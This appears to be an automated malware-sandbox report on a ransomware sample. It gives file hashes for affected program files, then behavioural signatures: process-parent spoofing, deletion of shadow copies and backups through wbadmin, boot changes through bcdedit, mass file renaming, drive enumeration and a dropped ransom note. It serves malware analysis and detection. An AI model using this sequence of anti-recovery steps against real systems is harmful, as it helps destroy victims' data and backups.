SHA512 7db326730a421f9149b7deec7087a0cc84f32bc9cfe9927b8e12229082fd82dfbac2e9f9eea2ff5fbf3adf6f3713e86cdc238c3a57b45ab2764e041bcccc1470

C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\MST7

MD5 2ca76e7387c477959a3c2729e88d9185
SHA1 16f6e28576ae5edc49df739c72b4ac30e4e6f01f
SHA256 014c67c4b55e59607cba25ab5e235af200e606f2dd33b6677b45838cf5f273a5
SHA512 cb85711053ef1c70e38f93531274184d536b3e2331afbc065333fc6513cc6edf763a1b4683059938159ad88f7616ca3b70f974f0845607684c604766cc3d2806

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\epl-v10.html

MD5 aeab3a9a42bec0f54f71023565b2bcbc
SHA1 d4b82782405a9b8642c2dc14e8bd46f2bd3f0b72
SHA256 28a746f6ad663749d55e7d6347d8fa1b3b3cc7a4b4fd88b2f0069c337b59ed86
SHA512 a1c97da23cf1b0361681b483c38147a728babee5eef47b0f9a0e615c879ed221e7a32e292b61c9278cdaad42ea459b40ae21840416851dcabf75bb17a236324e

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\license.html

MD5 48fd7314cdb19bd60246d4b86cd0b6b4
SHA1 c28fda538fc1d41ad6b0a5263b5a1efe9ebba5fd
SHA256 bd7d4eafdfcfed0c052445dfdaa963efde50e9dbd450227e5f26dda0f34e597e
SHA512 8f1b6c7e1d9bd08a0c10952f5e62a8e84d712f349ec979ca4646ae16f2d0ac04131246ba8d4ea15d15a85bc96624095cc3947164115feb0e63801d3c66763844

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf

MD5 7839cdc38931f0ca89463dab84453a58
SHA1 20df8de9d8b7476bfba49f6aec9121c3ec7a2fc3
SHA256 bb6adee297ef79d03b9aaec67dc003a9c715c75bac2eb10f772147fca4cb7176
SHA512 54cee33a637001bb1689654ac38c6604dce44d01d63fd975e68e6baeff4345c908bbc8555136637f03a31367a2ad75c0e75548254067f93aad717e17086a0096

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\license.html

MD5 1df36d6bc1189ef982df29e8380b4c9b
SHA1 0ffcf661249651bb731144a3b9f08babb7c19c14
SHA256 60b178635e1a308b42cd7882e7a1833fdd26c821d1db686a5c5e57cb2f5d6d6e
SHA512 29482e811e98c930fbf03db2dc14129176974e718d5cdd50d4c7b793ab4cf086b818481ccb464ed51c057e25ad52e3aa26e0d3cd267fd7fd8f297f17a1a0e2dd

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\eclipse.inf

MD5 c43a836cf8e1520ed1d3b60873e3c07a
SHA1 783c20413d9e486ce0267d6cea70ee6e28a8df69
SHA256 84199417b885edd19dce302acb51e9f2fdff855b51567fa9f476de16b645b07e
SHA512 289177ffaeabfbd46e88c8d43189117cf3d5b7a7e461e4fc9faaadd7296f6c3b4a5082b60cf87acf6332cbf78f4843d12b300ff8d82c242352311e26ce56797a

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA

MD5 d110b1c25a49d0e81d10f1d9458a2c26
SHA1 8650fc307242f04bd0c2e527d7aea3ed18f7b292
SHA256 2894a8b6550ca96d901224e3ac52ae701b1cf83cda9d3b455c16fda2d38e776a
SHA512 fd2c7cd4f740bbd0c4badd86b90fe23eec2f489e5555970481d7c995064868969f38aa43db461b2c65e4e16a866b4124288ac25f226137d4a0fe5cd1f6c7ebf8

C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\epl-v10.html

MD5 d84fb186c38f41bd8a9fbb78b7d3bde5
SHA1 7d15d48593e809a585990d4b633b0f6db4ff0f6d
SHA256 f8362e82638fa6778b9f618d9482b58214a0040775c2c7e8e869c7fc40f1a8b7
SHA512 6641d5ccd98312f6e654e8a218863959a44bbf710f1a2b86441c0c16cc8fec5928339af827bc9b59f06bffd1e7af3c23c9087c8322e54b9842671e8dbc84fb87

C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-core-execution.xml_hidden

MD5 4368aaa6515ff8ac97da1b89fea92771
SHA1 d484d704220f0e79943071b78250e2ef01f0f694
SHA256 6ff3d56109a2901cea504ac9c79ebf05b8cda1a8763d51c803d5064b2c796856
SHA512 0c02933627f868a50bcfa5e27bf79d65450600bc9e71423cd50730aac4b8542c9514159ca9e7c9a661dd84e1fde99dc092aa3fbdbf9022fe3aedb8c758efe4a2

C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkNoDrop32x32.gif

MD5 af15690de69c7a6bcc67a1110558db0a
SHA1 ec28c245ade267e37d2e6cda1a2e6d7d88fbdeed
SHA256 2959bd6e1c648a6556d07821e6361badf33ee998b4a069319e6c6878c650b40f
SHA512 a8bdf66a0ea9cd8f535e892f54d2a301158198df14728fd16bfd9cb8a9d4129f72ce37533d3b100793a282291730b2076049494d0354e0f93338bdc89029beec

C:\Program Files\Java\jre7\lib\zi\Etc\UTC

MD5 181f8070f081e01d75f011d53db3457e
SHA1 e619d376546ebb771a943aecc22666e44f8b5ff0
SHA256 57d887eac038013b13bc35e4ef79da3ffd8194da9e901c22d9eacd038bfd36bf
SHA512 5626bc283699e02c0c63b8176ac45a819119bfecf7a7663a636bf0db9159b21931a28b391d5babdd8a216d2c93bc457a0f1d3a4fecdd227081c7152202855b49

C:\Program Files\Java\jre7\lib\zi\SystemV\EST5

MD5 1cf2428e4afd9829dd56b2fe0ba36db7
SHA1 da1f71e960c3648bdab8acb2769d775ae5d65441
SHA256 2973b6e44413066f51d476495b6420bb64b5440b194f4fb60e1e08419bb33ea6
SHA512 229ced7ba060769c2545d01c5fc4a0f870f7eea766fc9c7ac0e8ec2bdc9794445c9a9cde5232b9751be73f51d6f5f2e34353898a43bc8655894ce3950d405fe0

C:\Program Files\Java\jre7\lib\zi\SystemV\HST10

MD5 508ad69bec051f25c614adf1a0ddd792
SHA1 c87993a2974484c838d7f7534c19217cecda3190
SHA256 b30c720f71e79048f01765ecb9a8557a5bb063cb0be5e93556e8ea819151793c
SHA512 41e5871036939bdb2129b13ceafb75a4cbbac7960bc55786a7f20910fbf3a3f83908ee89c6aa5ce89586a88e33707b70bc7702494095c99f9ef384846d29314a

C:\Program Files\Java\jre7\lib\zi\SystemV\MST7

MD5 f73a4a1e4a4926064983cd0353c7c239
SHA1 b474bd9edc01f02dd2ff32d9a17a73fd0e658541
SHA256 bcb1613a23888299c034a9f27a43fa57dffb8adee452de771c51c6e2ef4b3da3
SHA512 2ec31fdcb4b14ae3348c91c5c1afe05ef9eac35c96b7f890e77655f0598ba14a8e0fe8717049fdd6d556467b0da23d97cbc4e62a279e3dcc7ff30483d84c38bd

C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo

MD5 fabe466b41ff49cb39eb526eb01d9822
SHA1 2193551386e27d8c1c461d44af6885e45198d11a
SHA256 cd6fc6bc920ed586e20ddea6a5fc9ca8b66eb1c8f123f9287d373dc4ae88666c
SHA512 53d2e10270176198712fa53da2d706ace10a2b9ac74a084e6ae67213ba96e7044a4ff336721443c46e2f9dd54cddea68e26e4456cceabf890f693b9957ae2438

C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH_F_COL.HXK

MD5 30763e3ed8e778ebd7c022a3dba8d572
SHA1 70fa52cfa6eb75a36cdbf30e7243f358f2d32dd9
SHA256 6400ce6cfec403ca60858a36c478e6f7545057b307ead0e36e572d097a156b88
SHA512 47491b69721514c57394938679250addd805efa2874c08455b12ac15eb9ab2fab2e997ca3fad13b8e718fb0433933ad977ff13dc98f76342bd1344320adc6e11

C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH_K_COL.HXK

MD5 f2aa84aa1ba18d196188cc8a106fbe59
SHA1 da20edd3f98e9959a5e0f6bed7777de7e9475cb1
SHA256 e4886a28d975c23cd1ab206ef741a4e243331eb56f3b3240e7854da1fea6af89
SHA512 9ce13ccb0aca5fa9f9efcc451899c7d22314cd9fc68605f478badd6c512f3ed1f971fd206d37d1fb9cd821849d35ea6ae8d67120ea1db8cc953d1789b8c2dd0d

C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\TAB_OFF.GIF

MD5 33846bd3c5a0c74f0199b826984f5a02
SHA1 aa3af4ba91488c5947971802f324a851e92b912c
SHA256 4611182bf7709c7687eb30bd44d1730637434859282cc98d218ac36948cbcea0
SHA512 e0d7648b3129f40087de3efc60ad867678b1321879ec9e587ab8f4115934665eeb35a631f5ca8b493724d04dd37069f0deafef293f8834b918f964c7cae37cb1

C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\TAB_ON.GIF

MD5 0d8779c4e8776a04a14cf7f90eab2f7c
SHA1 5338499c6c46cf2b3e549e1c6f2fb9a291fdf31e
SHA256 ebd247cfae5cf40fbf29f64e20b855c40db1f0382e3d427eda262cb6b15ff3c4
SHA512 71589216d0e2539e1534095ff881a8b70bc558880f885f03f035950f6df9456e5e0cf004b7b9f94cabf39f4e6956994192666ee73c278323f5b5799a3a8cee99

C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV_F_COL.HXK

MD5 5a649a9ac552a8fe3d14efc1db372b61
SHA1 863bcbf8af365c53e4a6744a0b865a06bc96f2b1
SHA256 96655ceb27c043547cd864334104bdcd1c999d6f15807ec91e01a482407e2493
SHA512 a3135db81786286223ea21b8ec6340dfc3a38a8539b333f30b97e6167539a718aa19345a74fbb8b4e98f88021da4e5da6401dfa5e09c30a404ed234c71b22646

C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV_K_COL.HXK

MD5 09acb9d3aa4fff437e36f3152dd3603d
SHA1 d30f7b625cdfc94d3e3a5292c8901f370fd23a5f
SHA256 d2ce463f79af8217567e3698c29ad41710bd8ab408fa912aa15a87d640bf3434
SHA512 0d71234a1dc25a189afbd049ad7e0ba2d0fb47cb1f084b99709678eee16cc15f1fc37a1ecd99ef405dfac6d126bf69303239125653fabcbee31e834410e043c7

C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD_F_COL.HXK

MD5 18eef29a402d265cd0db65d96c31a74d
SHA1 59f7521e0d02aa9a4a8965291227cee9b27778a8
SHA256 e8a0eb1b698235875a031ab60d74824267f7c45d8f34470b912b9a9554585730
SHA512 a5d7397c0cea53799abece6eae52b13f3714193e6dbbd88d819a66b65dff0b6366b5eb9d758f3d66cce104c451c69e99ffce3b8b1f107bd6c7bf3aff0973046a

C:\Program Files (x86)\Microsoft Office\Office14\1033\WINWORD_K_COL.HXK

MD5 34593c07145a65798b527e8dfdf7c7a4
SHA1 2b8592e6138bb210b9c92c931275bd6f8f029e28
SHA256 52f993c8383e376f1de9716e792774dd196558732c5d9c8023704ed0dbb98546
SHA512 6b071e93be03ba490ef89b5920d0977ccb08c9421d546ba23d0d5085d0c08cb247c0474d40dfa768a35ebd8f35ec0f1ab35e1b64b053d07831d1acc089737c2d

C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\SIST02.XSL

MD5 b7f07c2bd5aac47e4d20b1a46249a9c5
SHA1 a7d63cdd0094a2a363728315f74e8606db38107f
SHA256 fd07e3c7867c0bcea81a43becef13ec5784238b7ad5539ab0adca4db489daa2f
SHA512 24cfd962d2ba73cdeaa71a7a2e2fa02ae793d5d075a60d5aba97b46a06e13b34e80976d6b82aedd2811610a8c3c954d4579685c79647809f461af7c138cb4acc

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Biscay\TAB_OFF.GIF

MD5 0bb52a69cbccdd4bd5ea28958a45cd6c
SHA1 2ec544e5d91ceb029c3877123863eb5ad3bdcf26
SHA256 35c3a8f4d48c644e8bc89e6a04a459df2eeaa5e9742253a550b0b9cffa3e6513
SHA512 6120aab38b67be3728d46a98afc8991e60ca09528efa0ed7bef195b9585f6a1c9a5ee7d76a8c731b33589e76fcb9ade66d8823bf4a9de6a5920b634dbd9a4393

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Biscay\TAB_ON.GIF

MD5 f9b938b863ee85ca36a5a9365fcd55ed
SHA1 621e82969b37315b0bcbbebbfae9410062e177de
SHA256 41df67b61991ebb34736f24d60ee2f11b8d882bd780ca86f2b6d3a4b989a1bb1
SHA512 6cc54b84696dc3221ee51e38a0291420548cc811b83758ace9d93b1da18edef6ae52afa3f00ef6d78169de097213cf198da6092e8cbf22816196b338813078f3

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\SpringGreen\TAB_OFF.GIF

MD5 041dd7787d1ee63feee58830d4f343ef
SHA1 7a41a5b1adeecf30e581c03f1715d049e8035248
SHA256 77fcdff4113e5edb86ed100d0228ab11a114a30db488112b19cbbe6823a6e499
SHA512 73ebc3bd13662a4c977cb17ee808d839d835241e97770585d0397be7978e0c00ad69f2b3176697ed2e3e598cdae2ef08ac4fcd30941bc38b5741ab9bff44a4e9

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\SpringGreen\TAB_ON.GIF

MD5 a345ce58e14d0247f705562c6db36432
SHA1 c66e1bf95bc932f6732f828e0f7caccf85c6b2a7
SHA256 9a5e7c00c14575a538112974e2539bfa930a5f5a9f7845aba9745e03d0086eae
SHA512 8538d0fa4387f565cfe0a519ae1ead73b27668a86ba23884d821faf234e2ff5ab4ed79844c29017138eedaad46f0ba840b754acc2c0ac562af48d6ed751f5ecb

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\TAB_OFF.GIF

MD5 8e5eccb3c79ff9be5d299fd8f9f79d5b
SHA1 42c663efef473077115aeba33c5c971e785725d2
SHA256 39206e942b36eb0d06f8fbf52e364ae4822976d07e07ad0d9f52b22200fb70a9
SHA512 bf112794b5750d32efe1472ff63871014067fd49787d98574c97d6d05df09cdd9c9f96225093cdaa6f9ebe9be01412ad92853e413559430660b59d21286c8db2

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\TAB_ON.GIF

MD5 cd8dfd2f5d7e3dd2f6cf2db16bcab17c
SHA1 19d3e208980d793a655bca31da1129608a937f2c
SHA256 31a1d88109c1525eda12a45c136ea977c6a568d9476d9b5045eb444b4eb4f1d9
SHA512 36c31172f745bb909b0da993a71532b150f6ac5d611041f036edd26d680abec743090a0dedaeb7c08e0a6930637542da879fc798b5ba7d693c89211280ee511f

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\LAUNCH.GIF

MD5 d0d0aebe78000c22d2d4a65aa264bd08
SHA1 dc9bf2cb81f460c268780464038f6dd67699ecad
SHA256 eb78be70d969144c91f71aee382a367211afd370be3026f8114ba2efcc1ed20e
SHA512 f60a9523ad49215a4a90851614f305b18e0634c1c1e4e63ca5e32a5754193977b4d98674bc69893eb753795c6cbd329645a6de4f138cf6637cc0b465e96b6931

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_alignleft.gif

MD5 b6634648c7be7c3a401fe4af170131a0
SHA1 ae0b2637bee849900eeebbcf419b58ac748d8c95
SHA256 5b4674a0adf7e528d8096a2ff79e16646109e31465573c0361476cedfcc562d6
SHA512 db4743d4d89ef18d20e9f8445b62041a6e5faef5f5eb8aaa4d756398699d86d34e4a592c6d1c234a43c3c4521efddf4d78e5a5f9b6f421bc60764eb5a896d048

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_alignright.gif

MD5 a66dc2ef04f975f5012ac5359b9aaef6
SHA1 464408b8265aab85e4d1a693ecc4668322dbec53
SHA256 fb5d5acab0bf7a1a8ee80f8318177d07ffd25c2de018c76c0c0b0decf11803a4
SHA512 729a6c0b45c1461bf26d97be173fa8f4cee1baab5ad46e8a13d687476faaaac7e2166cae7093e2b38f61b32555a1e5d366cdfeeefb0a5661e3359b1566edc79c

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_center.gif

MD5 58ef8bebba07f931758dfd81ede5fe5d
SHA1 f13f971c6064796215cb19151795d29cfc8eb9db
SHA256 fcdc57e72ccf70af986427cb1b9babb1f29814d255614a03fd5c42ea07cb8a67
SHA512 a954822862c7b58507394b7234c3be204509ffd03d5e261d53491f4f09ea5afc5c4a96b25c95fe4870c3189ce0f5daa1533054bf2374ffc6748196af6f1ac8ad

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_bullets.gif

MD5 80e316750eaa630ed7bb84b35e43ccbd
SHA1 1d3cac19039d752d72146971440f804e753c9f2a
SHA256 3ab98186cbceabb3c8a4caefb094de3be101c0c4aebd50612eccb67623432828
SHA512 c47bf1ce7aea3e07ada1d283d716abd8b3b34afe291ba561bc94804b81eaf9a981a2b1b0a18e8731897ec8abf0ead7f3cf00e416c997677f8c6913a45a748772

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_decreaseindent.gif

MD5 818125f6e7fe8c95f03a065356f7a819
SHA1 b4874f44902a4750e199c55e24c5f60ab1a55124
SHA256 fd18f8d3a28673111b83fc027ba80e621ac8aa42eedb3dd1cbccbccde9cd666a
SHA512 0b621296ab8f62809539de3383c54aa0d9d0b1b17e839c1d65747a668bea157afcad682b1c8076ac91f387ca03c4522ab5b2641bfff82f4e2c5cdda482d9f497

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_increaseindent.gif

MD5 92857c23b9abb99575d3afde37791a92
SHA1 5db4983c41eaf1fc25df56eb99d3ec847eee8d47
SHA256 fdc63ad32c261894498db28fce2daa38a01faf483b7588159b10bec90dee56ee
SHA512 f83bad7267f9fcb654bec91113873dc17c63a2cc009f18549f4e7d13152ef06deeda5a1bc10d0ae6793ab925e11636d6863a31edf4570dfc871da7cea147c8af

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_justify.gif

MD5 af804b8e5dff60247676cd327d1cf6b3
SHA1 a58b6f496b0c41fe79143bfe9350f915ce4a6dce
SHA256 eb18031c014232bcac2e24e4ced4aaaf9f0fb9609dda07fa88780a6d8800e5bd
SHA512 1e891aa7d4d5332fc410f4ad83bbfadc468c4b78d1fc232af95594b676c06a3184c4a06a296a82e1d1e92122ee545ad7e6bf2a6273b97abdf72fd70ec9dda194

C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\rtf_pressed.gif

MD5 4be4d15829723874d5f5d07659e5794e
SHA1 09d9c72e9194b4e68c3e1dd224644d371904c894
SHA256 2bd3f5767764cda0e89d4c2b281eb8331a4ab626d8b36f483006e1f5b8c2ce3c
SHA512 e55c12353e40de2bfd6ce9389eedbb9f5deb959e25fbe559c68fd8ff2d78091ac2415dd6cbf0652bbe597300d80ac61de984423806efc7d2f57328336533075c

C:\Program Files (x86)\Microsoft Office\Office14\InfoPathOM\InfoPathOMV12\Microsoft.Office.InfoPath.xml

MD5 f8aa8977eb47fd5b0bbeb8a347ce45e0
SHA1 bba839803fc6eaf7c39b6ff866edc9246738a745
SHA256 9a4d1e55e57b37ca88c7b3452cbcb037b9c7049466de247821fa8bc7ef5cb890
SHA512 e29f4513af96865bce4fad07a716a1455c4253190988d35f36efda9b4a6f9df81c6b937ce6c248e8632b43a4afba6de079112ea1cd183609c2480a0d60a65105

C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\TALK21.COM.XML

MD5 038d259bd38aca5f9d44225958859ab9
SHA1 b38d477900807a1d666aab35f3c3aa63ffb1c55a
SHA256 7ecd2a2c60fa6044cea2a3afb320a775135210f2f003979614bb915f6e3513cd
SHA512 1ac5f9ca4d61243011bffb8fab3796bc2a1a65522703b762137a7fd72962829b55c712d537880c1cc52f1a570ace855c3b5a86dadf7759ed3c91717bccd02126

C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.XML

MD5 af113542df9feba0280a2f0edf8dce56
SHA1 c0e464de3ddcbf094fe6e7c71101a555277d5992
SHA256 1a09ea46a982007e980c6f58d7413d848dac32ddf525c9014c54c5670480e81b
SHA512 23b3b2e7773e9b91367c2446e86f51f6f5564ce8da949c63fa01eaf05b211a1a8a8c6922dbf38bc7b05910a3dd638843b8b8807b4917ed08d40157f47688b635

C:\ProgramData\Microsoft\Assistance\Client\1.0\es-ES\Help_MValidator.Lck

MD5 d907a95eabbf8a0c1c1d01817d00710a
SHA1 568fabff72468283b4a17239f0c3c980192483e5
SHA256 687aa3c9e72e61cfc03857deaf28db5babe3f4e1fe55d61c85dafa0ce2fc51a9
SHA512 c817e43b29a7bea54553a343e36dfb6e9ffd0904b0fd092dac56ef468b1c78c02614e42eddb16cd6cbb7ca5ab4ad4a0d312aaead12679ad2ea37367527d8f5a9

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\CiAB0002.001

MD5 e57a47f9969c7b4bbb8005f1e3465cec
SHA1 8073686d904c946932d8c4d00167f464f25799a1
SHA256 765b1345100a6e052b71c26d975fe2aa3df322627084e484b7a4f0e2b0e92e99
SHA512 3204a016226d4e6e50e3d90e5b25c5a779ede065cba7d505c3481ced81382f24b111563c92c8032eb1bb2cdb70cebb725e5a90daac924656d7f9ade1df287732

C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\Indexer\CiFiles\CiAD0001.000

MD5 8b8b1350261a3b7edc1c7039be7f2c21
SHA1 8c18ac2084f8775c06a85f511b74d6efae5e5cd8
SHA256 b7378f2e0a62e1292a4928178e4b0a749becb19d97acb9590d9bd1a1166a8a44
SHA512 5858cbb8764bd04acee9ca94d1a4eb3b8dd79481717c55ef87b5fff12c6f458b2c274c9ce2e2772a4238d8dbe7e426d611514a2a25b1be6bf71d821166098fca

C:\ProgramData\Package Cache\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}v14.30.30704\packages\vcRuntimeAdditional_amd64\vc_runtimeAdditional_x64.msi

MD5 4075f6b20cb2cab768d7b2db3406ecce
SHA1 f26725234bf920e0ac9a8f822121b42fa4c8cb44
SHA256 b9cd35becee1487fd2e0a0a2aeccdc6d6faaa2d8a1b6b42c0cabf0c3045f9b96
SHA512 3274e180da42291bcea7808875adf70f178a0c94c8a253122d582fce1b696740a5d172032f325af2ca9d02ae1edc9f709d17078a8548f2bad113f1f0464cb9e5

Analysis: behavioral2

Detonation Overview

Submitted

2024-02-27 17:57

Reported

2024-02-27 18:00

Platform

win10v2004-20240226-en

Max time kernel

160s

Max time network

166s

Command Line

C:\Windows\Explorer.EXE

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1972 created 3424 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\Explorer.EXE

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (6034) files with added filename extension

ransomware

Deletes System State backups

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Deletes system backups

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_sendforcomments_18.svg C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_Grace-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-black\LargeTile.scale-150_contrast-black.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File created C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\Fonts\How_to_back_files.html C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.6.73.0_x64__8wekyb3d8bbwe\Assets\JumpListNotesList.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-36_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
